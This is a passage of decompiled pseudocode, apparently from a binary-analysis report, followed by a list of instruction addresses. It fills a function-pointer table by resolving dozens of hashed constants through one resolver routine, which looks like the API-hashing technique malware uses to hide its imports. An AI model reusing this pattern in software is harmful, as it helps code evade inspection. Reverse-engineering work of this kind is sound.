                                                                                                                                                                                                                                                                                                      							_t633 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t633 + 0x1d0)) = _t439;
                                                                                                                                                                                                                                                                                                      							_t440 = E00401200(0, 1, 0xa7fb4165);
                                                                                                                                                                                                                                                                                                      							_t785 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t785 + 0x1d4)) = _t440;
                                                                                                                                                                                                                                                                                                      							_t441 = E00401200(0, 1, 0xefc7ea74);
                                                                                                                                                                                                                                                                                                      							_t634 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t634 + 0x1d8)) = _t441;
                                                                                                                                                                                                                                                                                                      							_t442 = E00401200(0, 1, 0x8b5819ae);
                                                                                                                                                                                                                                                                                                      							_t786 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t786 + 0x1dc)) = _t442;
                                                                                                                                                                                                                                                                                                      							_t443 = E00401200(0, 1, 0x998508e2);
                                                                                                                                                                                                                                                                                                      							_t635 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t635 + 0x1e0)) = _t443;
                                                                                                                                                                                                                                                                                                      							_t444 = E00401200(0, 1, 0x2519b15a);
                                                                                                                                                                                                                                                                                                      							_t787 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t787 + 0x1ec)) = _t444;
                                                                                                                                                                                                                                                                                                      							_t445 = E00401200(0, 1, 0xc4b4a94d);
                                                                                                                                                                                                                                                                                                      							_t636 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t636 + 0x1e4)) = _t445;
                                                                                                                                                                                                                                                                                                      							_t446 = E00401200(0, 1, 0xe1bf2253);
                                                                                                                                                                                                                                                                                                      							_t788 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t788 + 0x1e8)) = _t446;
                                                                                                                                                                                                                                                                                                      							_t447 = E00401200(0, 1, 0xa0f5d331);
                                                                                                                                                                                                                                                                                                      							_t637 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t637 + 0x1f8)) = _t447;
                                                                                                                                                                                                                                                                                                      							_t448 = E00401200(0, 1, 0xd52d474a);
                                                                                                                                                                                                                                                                                                      							_t789 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t789 + 0x1fc)) = _t448;
                                                                                                                                                                                                                                                                                                      							_t449 = E00401200(0, 1, 0x271d201);
                                                                                                                                                                                                                                                                                                      							_t638 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t638 + 0x200)) = _t449;
                                                                                                                                                                                                                                                                                                      							_t450 = E00401200(0, 1, 0xb09315f4);
                                                                                                                                                                                                                                                                                                      							_t790 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t790 + 0x204)) = _t450;
                                                                                                                                                                                                                                                                                                      							_t451 = E00401200(0, 1, 0x3d3f609f);
                                                                                                                                                                                                                                                                                                      							_t639 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t639 + 0x208)) = _t451;
                                                                                                                                                                                                                                                                                                      							_t452 = E00401200(0, 1, 0x81f39c19);
                                                                                                                                                                                                                                                                                                      							_t791 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t791 + 0x20c)) = _t452;
                                                                                                                                                                                                                                                                                                      							_t453 = E00401200(0, 1, 0xd82bf69a);
                                                                                                                                                                                                                                                                                                      							_t640 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t640 + 0x210)) = _t453;
                                                                                                                                                                                                                                                                                                      							_t454 = E00401200(0, 1, 0x839a7905);
                                                                                                                                                                                                                                                                                                      							_t792 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t792 + 0x214)) = _t454;
                                                                                                                                                                                                                                                                                                      							_t455 = E00401200(0, 1, 0x3e08f78b);
                                                                                                                                                                                                                                                                                                      							_t641 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t641 + 0x218)) = _t455;
                                                                                                                                                                                                                                                                                                      							_t456 = E00401200(0, 1, 0x3faffd4a);
                                                                                                                                                                                                                                                                                                      							_t793 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t793 + 0x1f0)) = _t456;
                                                                                                                                                                                                                                                                                                      							_t457 = E00401200(0, 1, 0x21804a03);
                                                                                                                                                                                                                                                                                                      							_t642 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t642 + 0x1f4)) = _t457;
                                                                                                                                                                                                                                                                                                      							_t458 = E00401200(0, 1, 0x8a8d16db);
                                                                                                                                                                                                                                                                                                      							_t794 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t794 + 0x21c)) = _t458;
                                                                                                                                                                                                                                                                                                      							_t459 = E00401200(0, 1, 0x71a75557);
                                                                                                                                                                                                                                                                                                      							_t643 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t643 + 0x220)) = _t459;
                                                                                                                                                                                                                                                                                                      							_t460 = E00401200(0, 1, 0x906a06b0);
                                                                                                                                                                                                                                                                                                      							_t795 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t795 + 0x224)) = _t460;
                                                                                                                                                                                                                                                                                                      							_t461 = E00401200(0, 1, 0xff808c10);
                                                                                                                                                                                                                                                                                                      							_t644 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t644 + 0x228)) = _t461;
                                                                                                                                                                                                                                                                                                      							_t462 = E00401200(0, 1, 0xd9b20494);
                                                                                                                                                                                                                                                                                                      							_t796 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t796 + 0x22c)) = _t462;
                                                                                                                                                                                                                                                                                                      							_t463 = E00401200(0, 2, 0xc73378d6);
                                                                                                                                                                                                                                                                                                      							_t645 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t645 + 0x230)) = _t463;
                                                                                                                                                                                                                                                                                                      							_t464 = E00401200(0, 2, 0x18903299);
                                                                                                                                                                                                                                                                                                      							_t797 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t797 + 0x234)) = _t464;
                                                                                                                                                                                                                                                                                                      							_t465 = E00401200(0, 2, 0x316d29bd);
                                                                                                                                                                                                                                                                                                      							_t646 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t646 + 0x238)) = _t465;
                                                                                                                                                                                                                                                                                                      							_t466 = E00401200(0, 2, 0x4b37f1e8);
                                                                                                                                                                                                                                                                                                      							_t798 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t798 + 0x23c)) = _t466;
                                                                                                                                                                                                                                                                                                      							_t467 = E00401200(0, 2, 0xada2afc2);
                                                                                                                                                                                                                                                                                                      							_t647 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t647 + 0x240)) = _t467;
                                                                                                                                                                                                                                                                                                      							_t468 = E00401200(0, 2, 0x7695d1cc);
                                                                                                                                                                                                                                                                                                      							_t799 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t799 + 0x244)) = _t468;
                                                                                                                                                                                                                                                                                                      							_t469 = E00401200(0, 2, 0x72135b03);
                                                                                                                                                                                                                                                                                                      							_t648 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t648 + 0x248)) = _t469;
                                                                                                                                                                                                                                                                                                      							_t470 = E00401200(0, 2, 0xb70a9198);
                                                                                                                                                                                                                                                                                                      							_t800 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t800 + 0x24c)) = _t470;
                                                                                                                                                                                                                                                                                                      							_t471 = E00401200(0, 2, 0xc66a6ca4);
                                                                                                                                                                                                                                                                                                      							_t649 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t649 + 0x250)) = _t471;
                                                                                                                                                                                                                                                                                                      							_t472 = E00401200(0, 2, 0xf16e8f5);
                                                                                                                                                                                                                                                                                                      							_t801 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t801 + 0x254)) = _t472;
                                                                                                                                                                                                                                                                                                      							_t473 = E00401200(0, 2, 0x120ce88f);
                                                                                                                                                                                                                                                                                                      							_t650 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t650 + 0x258)) = _t473;
                                                                                                                                                                                                                                                                                                      							_t474 = E00401200(0, 2, 0x7075cfdf);
                                                                                                                                                                                                                                                                                                      							_t802 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t802 + 0x25c)) = _t474;
                                                                                                                                                                                                                                                                                                      							_t475 = E00401200(0, 2, 0x5c969bf4);
                                                                                                                                                                                                                                                                                                      							_t651 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t651 + 0x260)) = _t475;
                                                                                                                                                                                                                                                                                                      							_t476 = E00401200(0, 2, 0xa8403ace);
                                                                                                                                                                                                                                                                                                      							_t803 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t803 + 0x264)) = _t476;
                                                                                                                                                                                                                                                                                                      							_t477 = E00401200(0, 2, 0xeb0cfd03);
                                                                                                                                                                                                                                                                                                      							_t652 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t652 + 0x268)) = _t477;
                                                                                                                                                                                                                                                                                                      							_t478 = E00401200(0, 2, 0xedfa2583);
                                                                                                                                                                                                                                                                                                      							_t804 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t804 + 0x26c)) = _t478;
                                                                                                                                                                                                                                                                                                      							_t479 = E00401200(0, 2, 0x5a01bfa0);
                                                                                                                                                                                                                                                                                                      							_t653 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t653 + 0x270)) = _t479;
                                                                                                                                                                                                                                                                                                      							_t480 = E00401200(0, 2, 0x886e73fb);
                                                                                                                                                                                                                                                                                                      							_t805 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t805 + 0x274)) = _t480;
                                                                                                                                                                                                                                                                                                      							_t481 = E00401200(0, 2, 0x509d74c2);
                                                                                                                                                                                                                                                                                                      							_t654 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t654 + 0x278)) = _t481;
                                                                                                                                                                                                                                                                                                      							_t482 = E00401200(0, 2, 0x9c2d8fb5);
                                                                                                                                                                                                                                                                                                      							_t806 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t806 + 0x27c)) = _t482;
                                                                                                                                                                                                                                                                                                      							_t483 = E00401200(0, 2, 0x7493f047);
                                                                                                                                                                                                                                                                                                      							_t655 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t655 + 0x280)) = _t483;
                                                                                                                                                                                                                                                                                                      							_t484 = E00401200(0, 2, 0xdf39a8ec);
                                                                                                                                                                                                                                                                                                      							_t807 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t807 + 0x284)) = _t484;
                                                                                                                                                                                                                                                                                                      							_t485 = E00401200(0, 2, 0xc6e38110);
                                                                                                                                                                                                                                                                                                      							_t656 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t656 + 0x288)) = _t485;
                                                                                                                                                                                                                                                                                                      							_t486 = E00401200(0, 2, 0x61692ef);
                                                                                                                                                                                                                                                                                                      							_t808 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t808 + 0x28c)) = _t486;
                                                                                                                                                                                                                                                                                                      							_t487 = E00401200(0, 2, 0xa64c1e0);
                                                                                                                                                                                                                                                                                                      							_t657 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t657 + 0x290)) = _t487;
                                                                                                                                                                                                                                                                                                      							_t488 = E00401200(0, 2, 0xc5c64bc2);
                                                                                                                                                                                                                                                                                                      							_t809 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t809 + 0x294)) = _t488;
                                                                                                                                                                                                                                                                                                      							_t489 = E00401200(0, 2, 0xdbe9fc8b);
                                                                                                                                                                                                                                                                                                      							_t658 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t658 + 0x298)) = _t489;
                                                                                                                                                                                                                                                                                                      							_t490 = E00401200(0, 3, 0xd3b22721);
                                                                                                                                                                                                                                                                                                      							_t810 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t810 + 0x29c)) = _t490;
                                                                                                                                                                                                                                                                                                      							_t491 = E00401200(0, 3, 0x5c64ea2);
                                                                                                                                                                                                                                                                                                      							_t659 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t659 + 0x2a0)) = _t491;
                                                                                                                                                                                                                                                                                                      							if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      								_t494 = E00401200(0, 6, 0x7a0a041b);
                                                                                                                                                                                                                                                                                                      								_t811 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t811 + 0x2f0)) = _t494;
                                                                                                                                                                                                                                                                                                      								_t495 = E00401200(0, 6, 0x581db250);
                                                                                                                                                                                                                                                                                                      								_t660 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t660 + 0x2f4)) = _t495;
                                                                                                                                                                                                                                                                                                      								_t496 = E00401200(0, 6, 0xc522bce);
                                                                                                                                                                                                                                                                                                      								_t812 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t812 + 0x2f8)) = _t496;
                                                                                                                                                                                                                                                                                                      								_t497 = E00401200(0, 6, 0x9c343b9a);
                                                                                                                                                                                                                                                                                                      								_t661 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t661 + 0x2fc)) = _t497;
                                                                                                                                                                                                                                                                                                      								_t498 = E00401200(0, 4, 0xda16a83d);
                                                                                                                                                                                                                                                                                                      								_t813 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t813 + 0x2a4)) = _t498;
                                                                                                                                                                                                                                                                                                      								_t499 = E00401200(0, 4, 0x2ec21d6c);
                                                                                                                                                                                                                                                                                                      								_t662 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t662 + 0x2a8)) = _t499;
                                                                                                                                                                                                                                                                                                      								_t500 = E00401200(0, 4, 0xc24fa5f4);
                                                                                                                                                                                                                                                                                                      								_t814 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t814 + 0x2ac)) = _t500;
                                                                                                                                                                                                                                                                                                      								_t501 = E00401200(0, 4, 0x369b10a5);
                                                                                                                                                                                                                                                                                                      								_t663 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t663 + 0x2b0)) = _t501;
                                                                                                                                                                                                                                                                                                      								_t502 = E00401200(0, 4, 0x16505e0);
                                                                                                                                                                                                                                                                                                      								_t815 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t815 + 0x2b4)) = _t502;
                                                                                                                                                                                                                                                                                                      								_t503 = E00401200(0, 4, 0xf5b1b0b1);
                                                                                                                                                                                                                                                                                                      								_t664 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t664 + 0x2b8)) = _t503;
                                                                                                                                                                                                                                                                                                      								_t504 = E00401200(0, 4, 0x447d086b);
                                                                                                                                                                                                                                                                                                      								_t816 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t816 + 0x2bc)) = _t504;
                                                                                                                                                                                                                                                                                                      								_t505 = E00401200(0, 4, 0xb0a9bd3a);
                                                                                                                                                                                                                                                                                                      								_t665 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t665 + 0x2c0)) = _t505;
                                                                                                                                                                                                                                                                                                      								_t506 = E00401200(0, 4, 0xff00b1f6);
                                                                                                                                                                                                                                                                                                      								_t817 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t817 + 0x2c4)) = _t506;
                                                                                                                                                                                                                                                                                                      								_t507 = E00401200(0, 4, 0xbd404a7);
                                                                                                                                                                                                                                                                                                      								_t666 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t666 + 0x2c8)) = _t507;
                                                                                                                                                                                                                                                                                                      								_t508 = E00401200(0, 4, 0x6cc098f5);
                                                                                                                                                                                                                                                                                                      								_t818 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t818 + 0x2cc)) = _t508;
                                                                                                                                                                                                                                                                                                      								_t509 = E00401200(0, 4, 0xe5191d24);
                                                                                                                                                                                                                                                                                                      								_t667 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t667 + 0x2d0)) = _t509;
                                                                                                                                                                                                                                                                                                      								_t510 = E00401200(0, 5, 0xb9b70c1e);
                                                                                                                                                                                                                                                                                                      								_t819 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t819 + 0x2ec)) = _t510;
                                                                                                                                                                                                                                                                                                      								_t511 = E00401200(0, 4, 0x16438a20);
                                                                                                                                                                                                                                                                                                      								_t668 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t668 + 0x2d4)) = _t511;
                                                                                                                                                                                                                                                                                                      								_t512 = E00401200(0, 4, 0x5e6d02fa);
                                                                                                                                                                                                                                                                                                      								_t820 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t820 + 0x2d8)) = _t512;
                                                                                                                                                                                                                                                                                                      								_t513 = E00401200(0, 4, 0x39dd748d);
                                                                                                                                                                                                                                                                                                      								_t669 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t669 + 0x2dc)) = _t513;
                                                                                                                                                                                                                                                                                                      								_t514 = E00401200(0, 4, 0x87881ece);
                                                                                                                                                                                                                                                                                                      								_t821 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t821 + 0x2e0)) = _t514;
                                                                                                                                                                                                                                                                                                      								_t515 = E00401200(0, 4, 0x4a5abcee);
                                                                                                                                                                                                                                                                                                      								_t670 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t670 + 0x2e4)) = _t515;
                                                                                                                                                                                                                                                                                                      								_t516 = E00401200(0, 4, 0xbe8e09bf);
                                                                                                                                                                                                                                                                                                      								_t822 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t822 + 0x2e8)) = _t516;
                                                                                                                                                                                                                                                                                                      								_t517 = E00401200(0, 7, 0xaed34be);
                                                                                                                                                                                                                                                                                                      								_t671 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t671 + 0x300)) = _t517;
                                                                                                                                                                                                                                                                                                      								_t518 = E00401200(0, 7, 0x224a2dc8);
                                                                                                                                                                                                                                                                                                      								_t823 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t823 + 0x304)) = _t518;
                                                                                                                                                                                                                                                                                                      								_t519 = E00401200(0, 7, 0xd69e9899);
                                                                                                                                                                                                                                                                                                      								_t672 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t672 + 0x308)) = _t519;
                                                                                                                                                                                                                                                                                                      								_t520 = E00401200(0, 7, 0xabe649e6);
                                                                                                                                                                                                                                                                                                      								_t824 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)(_t824 + 0x30c)) = _t520;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E0040A880(); // executed
                                                                                                                                                                                                                                                                                                      							_t493 = E00404660(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t493 != 0) {
                                                                                                                                                                                                                                                                                                      								_v16 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}















































































































































































































































































































































































































                                                                                                                                                                                                                                                                                                      0x004016f6
                                                                                                                                                                                                                                                                                                      0x0040170a
                                                                                                                                                                                                                                                                                                      0x00401711
                                                                                                                                                                                                                                                                                                      0x00401717
                                                                                                                                                                                                                                                                                                      0x00401732
                                                                                                                                                                                                                                                                                                      0x00401739
                                                                                                                                                                                                                                                                                                      0x0040173f
                                                                                                                                                                                                                                                                                                      0x0040175f
                                                                                                                                                                                                                                                                                                      0x0040176e
                                                                                                                                                                                                                                                                                                      0x00401776
                                                                                                                                                                                                                                                                                                      0x0040177c
                                                                                                                                                                                                                                                                                                      0x00401787
                                                                                                                                                                                                                                                                                                      0x0040178f
                                                                                                                                                                                                                                                                                                      0x00401795
                                                                                                                                                                                                                                                                                                      0x004017a1
                                                                                                                                                                                                                                                                                                      0x004017a9
                                                                                                                                                                                                                                                                                                      0x004017af
                                                                                                                                                                                                                                                                                                      0x004017b2
                                                                                                                                                                                                                                                                                                      0x004017bb
                                                                                                                                                                                                                                                                                                      0x004017c7
                                                                                                                                                                                                                                                                                                      0x004017cf
                                                                                                                                                                                                                                                                                                      0x004017d5
                                                                                                                                                                                                                                                                                                      0x004017e1
                                                                                                                                                                                                                                                                                                      0x004017e9
                                                                                                                                                                                                                                                                                                      0x004017ef
                                                                                                                                                                                                                                                                                                      0x004017fb
                                                                                                                                                                                                                                                                                                      0x00401803
                                                                                                                                                                                                                                                                                                      0x00401809
                                                                                                                                                                                                                                                                                                      0x00401815
                                                                                                                                                                                                                                                                                                      0x0040181d
                                                                                                                                                                                                                                                                                                      0x00401823
                                                                                                                                                                                                                                                                                                      0x0040182f
                                                                                                                                                                                                                                                                                                      0x00401837
                                                                                                                                                                                                                                                                                                      0x0040183d
                                                                                                                                                                                                                                                                                                      0x00401849
                                                                                                                                                                                                                                                                                                      0x00401851
                                                                                                                                                                                                                                                                                                      0x00401857
                                                                                                                                                                                                                                                                                                      0x00401863
                                                                                                                                                                                                                                                                                                      0x0040186b
                                                                                                                                                                                                                                                                                                      0x00401871
                                                                                                                                                                                                                                                                                                      0x0040187d
                                                                                                                                                                                                                                                                                                      0x00401885
                                                                                                                                                                                                                                                                                                      0x0040188b
                                                                                                                                                                                                                                                                                                      0x00401897
                                                                                                                                                                                                                                                                                                      0x0040189f
                                                                                                                                                                                                                                                                                                      0x004018a5
                                                                                                                                                                                                                                                                                                      0x004018b1
                                                                                                                                                                                                                                                                                                      0x004018b9
                                                                                                                                                                                                                                                                                                      0x004018bf
                                                                                                                                                                                                                                                                                                      0x004018cb
                                                                                                                                                                                                                                                                                                      0x004018d3
                                                                                                                                                                                                                                                                                                      0x004018d9
                                                                                                                                                                                                                                                                                                      0x004018e5
                                                                                                                                                                                                                                                                                                      0x004018ed
                                                                                                                                                                                                                                                                                                      0x004018f3
                                                                                                                                                                                                                                                                                                      0x004018ff
                                                                                                                                                                                                                                                                                                      0x00401907
                                                                                                                                                                                                                                                                                                      0x0040190d
                                                                                                                                                                                                                                                                                                      0x00401919
                                                                                                                                                                                                                                                                                                      0x00401921
                                                                                                                                                                                                                                                                                                      0x00401927
                                                                                                                                                                                                                                                                                                      0x00401933
                                                                                                                                                                                                                                                                                                      0x0040193b
                                                                                                                                                                                                                                                                                                      0x00401941
                                                                                                                                                                                                                                                                                                      0x0040194d
                                                                                                                                                                                                                                                                                                      0x00401955
                                                                                                                                                                                                                                                                                                      0x0040195b
                                                                                                                                                                                                                                                                                                      0x00401967
                                                                                                                                                                                                                                                                                                      0x0040196f
                                                                                                                                                                                                                                                                                                      0x00401975
                                                                                                                                                                                                                                                                                                      0x00401981
                                                                                                                                                                                                                                                                                                      0x00401989
                                                                                                                                                                                                                                                                                                      0x0040198f
                                                                                                                                                                                                                                                                                                      0x0040199b
                                                                                                                                                                                                                                                                                                      0x004019a3
                                                                                                                                                                                                                                                                                                      0x004019a9
                                                                                                                                                                                                                                                                                                      0x004019b5
                                                                                                                                                                                                                                                                                                      0x004019bd
                                                                                                                                                                                                                                                                                                      0x004019c3
                                                                                                                                                                                                                                                                                                      0x004019cf
                                                                                                                                                                                                                                                                                                      0x004019d7
                                                                                                                                                                                                                                                                                                      0x004019dd
                                                                                                                                                                                                                                                                                                      0x004019e9
                                                                                                                                                                                                                                                                                                      0x004019f1
                                                                                                                                                                                                                                                                                                      0x004019f7
                                                                                                                                                                                                                                                                                                      0x00401a03
                                                                                                                                                                                                                                                                                                      0x00401a0b
                                                                                                                                                                                                                                                                                                      0x00401a11
                                                                                                                                                                                                                                                                                                      0x00401a1d
                                                                                                                                                                                                                                                                                                      0x00401a25
                                                                                                                                                                                                                                                                                                      0x00401a2b
                                                                                                                                                                                                                                                                                                      0x00401a37
                                                                                                                                                                                                                                                                                                      0x00401a3f
                                                                                                                                                                                                                                                                                                      0x00401a45
                                                                                                                                                                                                                                                                                                      0x00401a51
                                                                                                                                                                                                                                                                                                      0x00401a59
                                                                                                                                                                                                                                                                                                      0x00401a5f
                                                                                                                                                                                                                                                                                                      0x00401a6b
                                                                                                                                                                                                                                                                                                      0x00401a73
                                                                                                                                                                                                                                                                                                      0x00401a79
                                                                                                                                                                                                                                                                                                      0x00401a85
                                                                                                                                                                                                                                                                                                      0x00401a8d
                                                                                                                                                                                                                                                                                                      0x00401a93
                                                                                                                                                                                                                                                                                                      0x00401a9f
                                                                                                                                                                                                                                                                                                      0x00401aa7
                                                                                                                                                                                                                                                                                                      0x00401aad
                                                                                                                                                                                                                                                                                                      0x00401abc
                                                                                                                                                                                                                                                                                                      0x00401ac4
                                                                                                                                                                                                                                                                                                      0x00401aca
                                                                                                                                                                                                                                                                                                      0x00401ad9
                                                                                                                                                                                                                                                                                                      0x00401ae1
                                                                                                                                                                                                                                                                                                      0x00401ae7
                                                                                                                                                                                                                                                                                                      0x00401af6
                                                                                                                                                                                                                                                                                                      0x00401afe
                                                                                                                                                                                                                                                                                                      0x00401b04
                                                                                                                                                                                                                                                                                                      0x00401b13
                                                                                                                                                                                                                                                                                                      0x00401b1b
                                                                                                                                                                                                                                                                                                      0x00401b21
                                                                                                                                                                                                                                                                                                      0x00401b30
                                                                                                                                                                                                                                                                                                      0x00401b38
                                                                                                                                                                                                                                                                                                      0x00401b3e
                                                                                                                                                                                                                                                                                                      0x00401b4d
                                                                                                                                                                                                                                                                                                      0x00401b55
                                                                                                                                                                                                                                                                                                      0x00401b5b
                                                                                                                                                                                                                                                                                                      0x00401b6a
                                                                                                                                                                                                                                                                                                      0x00401b72
                                                                                                                                                                                                                                                                                                      0x00401b78
                                                                                                                                                                                                                                                                                                      0x00401b87
                                                                                                                                                                                                                                                                                                      0x00401b8f
                                                                                                                                                                                                                                                                                                      0x00401b95
                                                                                                                                                                                                                                                                                                      0x00401ba4
                                                                                                                                                                                                                                                                                                      0x00401bac
                                                                                                                                                                                                                                                                                                      0x00401bb2
                                                                                                                                                                                                                                                                                                      0x00401bc1
                                                                                                                                                                                                                                                                                                      0x00401bc9
                                                                                                                                                                                                                                                                                                      0x00401bcf
                                                                                                                                                                                                                                                                                                      0x00401bde
                                                                                                                                                                                                                                                                                                      0x00401be6
                                                                                                                                                                                                                                                                                                      0x00401bec
                                                                                                                                                                                                                                                                                                      0x00401bfb
